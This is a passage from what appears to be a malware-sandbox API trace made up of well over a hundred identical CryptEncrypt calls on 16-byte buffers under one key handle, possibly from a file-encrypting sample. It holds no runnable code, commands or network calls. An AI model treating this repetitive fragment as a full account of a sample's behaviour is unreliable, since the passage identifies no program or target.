out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.150] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.150] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.150] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.150] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.150] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.150] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.150] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.150] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.150] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.150] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.150] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.150] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.150] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.150] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.150] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.151] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.151] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.151] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.151] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.151] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.151] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.151] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.151] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.151] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.151] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.151] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.151] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.151] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.151] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.151] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.151] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.151] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.151] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.151] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.152] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.152] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.152] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.152] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.152] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.152] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.152] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.152] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.152] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.152] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.152] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.152] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.152] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.152] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.152] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.152] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.152] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.152] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.153] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.153] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.153] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.153] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.153] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.153] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.153] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.153] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.153] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.153] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.153] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.153] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.153] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.153] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.153] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.153] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.153] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.153] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.154] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.154] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.154] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.154] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.154] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.154] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.154] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.154] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.154] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.154] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.154] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.154] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.154] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.154] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.154] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.154] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.154] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.154] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.154] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.155] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.155] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.155] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.155] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.155] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.155] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.155] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.155] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.155] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.155] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.155] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.155] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.155] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.155] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.155] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, 